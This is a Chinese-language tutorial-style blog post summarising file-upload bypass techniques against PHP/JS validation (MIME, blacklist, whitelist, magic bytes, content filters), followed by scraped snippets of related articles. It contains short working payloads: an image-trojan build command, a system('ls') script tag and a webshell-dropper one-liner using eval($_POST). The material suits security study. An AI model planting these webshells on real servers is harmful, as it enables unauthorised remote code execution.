文件上传绕过知识总结一

前言

  重新学习漏洞原理,记录下文件上传的绕过姿势

客户端的检测:

 1    function checkFile() {
 2         var file = document.getElementsByName(‘upload_file‘)[0].value;
 3         if (file == null || file == "") {
 4             alert("请选择要上传的文件!");
 5             return false;
 6         }
 7         //定义允许上传的文件类型
 8         var allow_ext = ".jpg|.png|.gif";
 9         //提取上传文件的类型
10         var ext_name = file.substring(file.lastIndexOf("."));
11         //判断上传文件类型是否允许上传
12         if (allow_ext.indexOf(ext_name) == -1) {
13             var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
14             alert(errMsg);
15             return false;

  原理:文件上传也面含有专门检测文件上传的js代码,常见的检测文件扩展名是否合法   

  绕过:1、在本地浏览器禁用js

        2、上传合法后缀名文件,然后用burpsuite抓包改包

服务端的检测:

  MIME类型检测:content-type

 1 if (($_FILES[‘upload_file‘][‘type‘] == ‘image/jpeg‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/png‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/gif‘)) {
 2             $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
 3             $img_path = UPLOAD_PATH . ‘/‘ . $_FILES[‘upload_file‘][‘name‘];
 4             if (move_uploaded_file($temp_file, $img_path)) {
 5                 $is_upload = true;
 6             } else {
 7                 $msg = ‘上传出错!‘;
 8             }
 9         } else {
10             $msg = ‘文件类型不正确,请重新上传!‘;
11         }

    绕过:抓包然后修改content-type

    常用的content-type类型

  黑名单检测:

 1 if (file_exists(UPLOAD_PATH)) {
 2         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
 3         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 4         $file_name = deldot($file_name);//删除文件名末尾的点
 5         $file_ext = strrchr($file_name, ‘.‘);
 6         $file_ext = strtolower($file_ext); //转换为小写
 7         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
 8         $file_ext = trim($file_ext); //收尾去空
 9
10         if (!in_array($file_ext, $deny_ext)) {
11             $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
12             $img_path = UPLOAD_PATH.‘/‘.$file_name;
13             if (move_uploaded_file($temp_file, $img_path)) {
14                 $is_upload = true;
15             } else {
16                 $msg = ‘上传出错!‘;
17             }
18         } else {
19             $msg = ‘此文件不允许上传!‘;
20         }
21     } else {
22         $msg = UPLOAD_PATH . ‘文件夹不存在,请手工创建!‘;
23     }

    常见的黑名单扩展名:

      php|php2|php3|php4|php5|asis|htaccess

      |asp|asa|cer|cdx|aspx|ashx|ascx|asax|htm

      |html|shtml|pwml|phtml|phtm|js|jspvbs|asis

      |sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

    绕过:1、后缀名大小写限制

          2、配合apache解析漏洞,apache在解析文件时,从右往左判断文件名,

           如果后缀名不能解析,则继续往左判断,如aa.php.rar文件

        3、双写后缀名进行绕过,有些检测会将危险后缀名替换为空,如双写pphphp,可以绕过

           4、如果.htaccess没有被禁止上传,可以上传.htaccess来进行绕过,这个文件中可以指定哪些文件可以被php解析

  白名单检测:

 1 if(isset($_POST[‘submit‘])){
 2     $ext_arr = array(‘jpg‘,‘png‘,‘gif‘);
 3     $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1);
 4     if(in_array($file_ext,$ext_arr)){
 5         $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
 6         $img_path = $_GET[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;
 7
 8         if(move_uploaded_file($temp_file,$img_path)){
 9             $is_upload = true;
10         } else {
11             $msg = ‘上传出错!‘;
12         }
13     } else{
14         $msg = "只允许上传.jpg|.png|.gif类型文件!";
15     }
16 }

    绕过:1、%00截断,利用条件是php<5.3.4,并且magic_quotes_gpc关闭,上面代码中save_path可控,

           利用%00截断,save_path=upload/1.php%00,然后和合法后缀名进行拼接而

         move_uploaded_file()函数在进行文件转储时,读取到%00时就认为读取结束。

         move_uploaded_file()在进行拼接时,还会忽略文件名后面的/.。也可以用于绕过。

       2、 如果目标存在文件包含漏洞,可以结合上传图片马,然后用文件包含来进行利用

  文件内容绕过:

    上传图片马时,服务端检测图片的文件幻数(文件头),是否为图片,绕过之后上传需要配合文件包含漏洞

 1 function getReailFileType($filename){
 2     $file = fopen($filename, "rb");
 3     $bin = fread($file, 2); //只读2字节
 4     fclose($file);
 5     $strInfo = @unpack("C2chars", $bin);
 6     $typeCode = intval($strInfo[‘chars1‘].$strInfo[‘chars2‘]);
 7     $fileType = ‘‘;
 8     switch($typeCode){
 9         case 255216:
10             $fileType = ‘jpg‘;
11             break;
12         case 13780:
13             $fileType = ‘png‘;
14             break;
15         case 7173:
16             $fileType = ‘gif‘;
17             break;
18         default:
19             $fileType = ‘unknown‘;
20         }
21         return $fileType;
22 }

     绕过:1、制作图片马,cmd命令,copy 1.jpg /b + shell.php /a shell.jpg,制作的图片马包含jpg文件的文件头

        2、直接在shell.php前面加上文件头,

            如:.jpg .jpeg .jpe:JPGGraphic File;

                   .gif :GIF89A

                      .ZIP:Zip Compressed

                 .doc .xls .xlt .ppt .apr:MS Comepound Document v1 or Lotus Approach APRfile

     直接上传shell.php时,可能会检测文件中的敏感字符,并将其代替掉,下面代码中会将?代替为空

 1 <?php
 2 $path = "./uploads";
 3 $content = file_get_contents($_FILES[‘myfile‘][‘tmp_name‘]);
 4 $content = str_replace(‘?‘, ‘!‘, $content);
 5 $file = $path . ‘/‘ . $_FILES[‘myfile‘][‘name‘];
 6
 7 if (move_uploaded_file($_FILES[‘myfile‘][‘tmp_name‘], $file)) {
 8         file_put_contents($file, $content);
 9         echo ‘Success!<br>‘;
10 } else {
11         echo ‘Error!<br>‘;
12 }
13 ?>

      绕过:判断哪些字符没有被限制,然后突破限制,如过滤了问号可以用,<script language=‘php‘>system(‘ls‘);</script>

  竞争上传绕过:

     如果后台代码逻辑是先保存文件,然后检测文件内容。

1 <?php
2     fputs(fopen("shell.php","w"),"<?php eval(\$_POST[‘XXXSER‘]);?>")
3 ?>

      绕过:我们可以写一个生成木马的木马,然后上传时用burpsuite不断请求。

所写内容是在网上总结所得,如有问题,请大佬指正

参考链接:https://xz.aliyun.com/t/6047

原文地址:https://www.cnblogs.com/s-qig57/p/12401248.html

时间: 2024-07-30 14:04:52

文件上传绕过知识总结一的相关文章

Getshell | 文件上传绕过整理

WAF绕过 安全狗绕过 1.绕过思路:对文件的内容,数据.数据包进行处理. 关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php" 将form-data; 修改为~form-data; 2.通过替换大小写来进行绕过 Content-Disposition: form-data; name="file"; filename="yjh.php" C

(转)多种文件上传绕过手法

相信大家都或多或少遇到过上传的问题,本文讲些小技巧,原理用文字叙述实在麻烦 目录:JS验证实例 /大小写/双重后缀名/过滤绕过/特殊后缀名/文件流类型/文件重写 1.javascript验证突破 查看源代码 在IE中禁用掉即可(火狐的noscript插件也行) 2.大小写突破 他只是把php做了限制,改成Php就可以了 3.双重后缀名突破 在php后面加一个空格即可突破 4.过滤绕过 这个大家应该经常遇到,上传一个php会自动改成gif 我们这样改一下,pphphp,那么就过滤了  第一个php

文件上传+绕过方法+菜刀的基本用法

关于原理方面就不加赘述了,可以Google一下,我贴一下几百年前我的理解:原理:上传一个脚本(jsp,asp,php),然后就得到机子的shell (哇,感觉很粗糙) 文件上传漏洞的几种常见的姿势: 1.js前端验证2.mime3.后缀名4.修改字母大小写(同第一种,就是把PHP几种大小写试一试 还有可能是phtml)5.00截断6.上传含有一句话的图片 最简单的:先直接上传一个php文件,看是否正确 1.js前端验证: 一般都是在网页上写一段JavaScript脚本,校验上传文件的后缀名,有白

文件上传漏洞(绕过姿势)

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用.此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议.(根据个人经验总结,欢迎补充纠错~~) 文件上传校验姿势 客户端javascript校验(一般只校验后缀名) 服务端校验 文件头content-type

文件上传姿势整理(附实战)

--人的理想志向往往和他的能力成正比. 在这里整理一些自己最近学习的文件上传的知识,方便自己回忆和深刻记忆(不全,只是将自己不知道的原理以及技巧分享出来). 文件上传漏洞的几种情况(在ichunqiu的博客园扒的 - -.): MIME类型绕过漏洞(就是content-type:) 文件内容检测绕过 空字节截断(%00,0x00) 解析导致的文件上传漏洞: IIS6.0/IIS7.0/IIS7.5(后面细说) Apache站上的解析缺陷绕过上传 htaccess文件上传解析漏洞 还有就是各种cm

文件上传的思考 (转) http://blog.csdn.net/ncafei/article/details/53401961

文件上传校验 客户端JavaScript校验(一般只校验后缀名) 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包. 服务端校验: 1.文件头content-type字段校验(image/gif):代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误. 2.文件内容头校验(GIF89a): 可

php $_FILES处理文件上传

众所周知,文件上传在一些网站应用中是必不可少的一部分.比如个人博客上传个性头像,一些论坛分享好的学习资料等,这就涉及到使用表单处理文件上传的知识,在php中 我们可以使用$_FILES这个全局数组来处理.下面就看看基本的文件上传处理部分.首先要说明的,能够上传文件必定是一个安全隐患,所以在开发这部分功 能时,一定要注意网站的安全性.而本文所探讨的只是基本的文件上传部分,关于安全性这方面考虑的较少,希望在日后的高级应用中可以学习的到. 在PHP预定义变量这一节我们对一些预定义变量进行了一些大概的学

php代码审计8审计文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚步文件,并通过此脚本文件获得了执行服务器端命令的能力,这种攻击方式是最直接和有效的,文件上传本身是没问题的,有问题的是文件上传后,服务器怎么处理,解释文件,通过服务器的处理逻辑做的不够安全,则会导致严重后果 漏洞条件:文件可上传--知道文件上传路径--上传文件可以被访问--上传文件可以被执行 文件上传可控点:Content-Length,即上传内容大小MAX_FILE-SIZE,即上传内容的最大长度filename,即上传文件名Content-Type,即

WEB安全性测试之文件上传漏洞

1.漏洞描述:文件上传漏洞,是指可以利用WEB上传一些特定的文件包含特定代码如(<?php phpnfo;?> 可以用于读取服务器配置信息.上传成功后可以点击) 上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.文件上传本身是web中最为常见的一种功能需求,关键是文件上传之后服务器端的处理.解释文件的过程是否安全.一般的情况有: 1.上传Web脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行,篡改主页 2.上传Flash策略文件cro